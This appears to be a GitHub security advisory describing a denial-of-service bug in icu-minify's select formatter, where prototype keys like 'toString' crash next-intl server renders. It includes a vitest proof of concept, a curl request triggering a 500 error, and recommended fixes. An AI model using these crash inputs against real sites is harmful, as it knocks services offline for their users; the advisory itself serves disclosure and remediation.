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GHSA-r27j-894h-3w3p
No affected components available
Summary
icu-minify's runtime formatter resolves select branches by looking up the runtime value as a plain property on a prototype-bearing object. When the value coerces to a key that exists on Object.prototype (e.g. toString, __proto__, constructor, hasOwnProperty, valueOf), the lookup returns a truthy value that short-circuits the ?? options.other fallback, and the downstream iterator crashes with TypeError: nodes is not iterable. Any consumer that forwards user input into a {arg, select, …} placeholder — a common idiom for role, status, type, gender — can be crashed per-request by supplying one of those keys. In Next.js SSR (via next-intl with experimental.messages.precompile) this yields a 500 for the affected render.
Details
Vulnerable code paths
Compilation produces a plain object whose prototype chain includes all Object.prototype members:
// packages/icu-minify/src/compile.tsx:191-199
function compileSelect(node: SelectElement): CompiledNode {
const options: SelectOptions = {}; // <-- plain object, inherits from Object.prototype
for (const [key, option] of Object.entries(node.options)) {
options[key] = compileNodesToNode(option.value);
}
return [node.value, TYPE_SELECT, options];
}
At runtime, the formatter looks up the user-controllable value directly on that object:
// packages/icu-minify/src/format.tsx:226-244
function formatSelect<RichTextElement>(
name: string,
options: SelectOptions,
locale: string,
values: FormatValues<RichTextElement>,
formatOptions: FormatOptions,
pluralCtx: PluralContext | undefined
): string | RichTextElement | Array<string | RichTextElement> {
const value = String(getValue(values, name)); // 234: coerce to string, no sanitization
const branch: CompiledNode | undefined = options[value] ?? options.other; // 235: unsafe lookup
if (process.env.NODE_ENV !== 'production' && !branch) {
throw new Error(
`No matching branch for select "${name}" with value "${value}"`
);
}
return formatBranch(branch, locale, values, formatOptions, pluralCtx); // 243
}
Because options inherits from Object.prototype, lookups such as options['toString'] return Object.prototype.toString — a truthy Function. The ?? options.other fallback is therefore skipped, and the non-array, non-string branch is passed to formatBranch, which forwards it to formatNodes:
// packages/icu-minify/src/format.tsx:286-308
function formatBranch<RichTextElement>(
branch: CompiledNode,
/* … */
) {
if (typeof branch === 'string') return branch; // string: fine
if (branch === TYPE_POUND) return formatNode(/* … */); // pound: fine
return formatNodes(branch as Array<CompiledNode>, /* … */); // 301: Function is not iterable
}
// packages/icu-minify/src/format.tsx:73-92
function formatNodes<RichTextElement>(
nodes: Array<CompiledNode>,
/* … */
): Array<string | RichTextElement> {
const result: Array<string | RichTextElement> = [];
for (const node of nodes) { // 82: TypeError: nodes is not iterable
/* … */
}
return result;
}
Five bare-prototype keys reliably crash the formatter in production: toString, __proto__, constructor, hasOwnProperty, valueOf (plus propertyIsEnumerable, isPrototypeOf, toLocaleString). Note the development branch at line 237 (throw new Error('No matching branch for select …')) is bypassed because the inherited function is truthy — so this is not masked in development either.
Why formatPlural is not affected
formatPlural (format.tsx:246-284) looks safe for two independent reasons and does not need to be patched for this specific bug:
- Exact-match keys use the
=${value}prefix (exactKey = '=' + value, line 263), so the attacker would need to supply e.g.=toString, which is not a member ofObject.prototype. - The category branch uses
formatOptions.formatters.getPluralRules(locale, {type}).select(value)which returns a fixed enum (zero|one|two|few|many|other), never attacker-supplied.
The bug is specific to the select path where the raw string value is used as the lookup key.
Reachability
- Direct consumers of
icu-minify: any code callingformat(compiled, locale, values, …)wherevalues[arg]for aselectplaceholder comes from user input is vulnerable with no additional preconditions. next-intlusers who enableexperimental.messages.precompile(packages/next-intl/src/plugin/types.tsx:24, wired inpackages/next-intl/src/plugin/getNextConfig.tsx:177-293): the runtime atpackages/use-intl/src/core/format-message/format-only.tsxforwards directly toicu-minify/format, sot('msg', {role: req.query.role})against a{role, select, admin {…} other {…}}message crashes the render.
No middleware, type guard, escaping, or framework default stands between user input and the unsafe lookup — values reaches format() unmodified.
PoC
Verified dynamically against packages/icu-minify/src/format.tsx at commit b4aa538 (v4.9.1) with vitest and NODE_ENV=production.
Reproduction (drop into packages/icu-minify/test/poc.test.ts and run pnpm exec vitest run test/poc.test.ts):
import {describe, expect, it} from 'vitest';
import compile from '../src/compile.js';
import format, {type FormatOptions} from '../src/format.js';
const formatters: FormatOptions['formatters'] = {
getDateTimeFormat: (...a) => new Intl.DateTimeFormat(...a),
getNumberFormat: (...a) => new Intl.NumberFormat(...a),
getPluralRules: (...a) => new Intl.PluralRules(...a)
};
describe('select prototype-key DoS', () => {
const compiled = compile('{role, select, admin {Admin} user {User} other {Guest}}');
for (const key of ['toString', '__proto__', 'constructor', 'hasOwnProperty', 'valueOf']) {
it(`crashes on role="${key}"`, () => {
process.env.NODE_ENV = 'production';
expect(() => format(compiled, 'en', {role: key}, {formatters}))
.toThrow(TypeError); // "nodes is not iterable"
});
}
});
Observed output (each of the 5 keys):
TypeError: nodes is not iterable
at formatNodes (packages/icu-minify/src/format.tsx:82:22)
at formatBranch (packages/icu-minify/src/format.tsx:301:10)
at formatSelect (packages/icu-minify/src/format.tsx:243:10)
at formatNode (packages/icu-minify/src/format.tsx:150:14)
at formatNodes (packages/icu-minify/src/format.tsx:83:23)
at format (packages/icu-minify/src/format.tsx:64:18)
End-to-end Next.js scenario (illustrative — any attacker-controlled role/status/type/gender forwarded into a select placeholder triggers the same exception inside the server render):
// app/[locale]/profile/page.tsx — assume precompile enabled
export default async function Page({searchParams}: {searchParams: Promise<{role?: string}>}) {
const t = await getTranslations('Profile');
const {role = 'other'} = await searchParams;
return <h1>{t('greeting', {role})}</h1>;
// ^^^^^ messages: { "greeting": "{role, select, admin {Hi admin} other {Hi}}" }
}
curl -i 'https://target.example/en/profile?role=toString'
HTTP/1.1 500 Internal Server Error
Impact
- Availability: An unauthenticated attacker can force a 500 response on any page or API route that formats a
selectICU message using user-controllable input. Each request fails independently; there is no persistent state corruption or amplification beyond the malicious request. - Confidentiality / Integrity: None. No data is leaked and no prototype write occurs — this is a prototype-chain read confusion, not a prototype pollution write.
- Scope: Any consumer of
icu-minifythat passes user input into aselectbranch is vulnerable.next-intlusers are only exposed if they have opted into the experimentalexperimental.messages.precompileflag. - Preconditions: Developer must forward untrusted input to a
{arg, select, …}placeholder. This is a routine pattern (role,status,gender,type) and the library offers no documentation warning thatselectkeys must be validated against prototype members.
Recommended Fix
Either of the following (defense-in-depth suggests both). Both are one-line, minimal-churn fixes.
- Use a null-prototype map in
compileSelect(and symmetrically incompilePlural) so that noObject.prototypekeys can ever be resolved:
// packages/icu-minify/src/compile.tsx
function compileSelect(node: SelectElement): CompiledNode {
- const options: SelectOptions = {};
+ const options: SelectOptions = Object.create(null);
for (const [key, option] of Object.entries(node.options)) {
options[key] = compileNodesToNode(option.value);
}
return [node.value, TYPE_SELECT, options];
}
- Gate the runtime lookup with
Object.prototype.hasOwnProperty.callso theotherfallback is reached for any non-own key:
// packages/icu-minify/src/format.tsx
function formatSelect<RichTextElement>(/* … */) {
const value = String(getValue(values, name));
- const branch: CompiledNode | undefined = options[value] ?? options.other;
+ const branch: CompiledNode | undefined =
+ Object.prototype.hasOwnProperty.call(options, value) ? options[value] : options.other;
/* … */
}
Option 1 is preferable because it also survives future serialization round-trips (e.g. JSON-hydrated compiled messages) and removes the hazard at the source. Option 2 is a defensive backstop for any code path that constructs SelectOptions from arbitrary JSON at runtime.
No regression is expected in tests — compileSelect never reads back through the prototype chain, and all existing lookups use own properties.
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the availability of the system.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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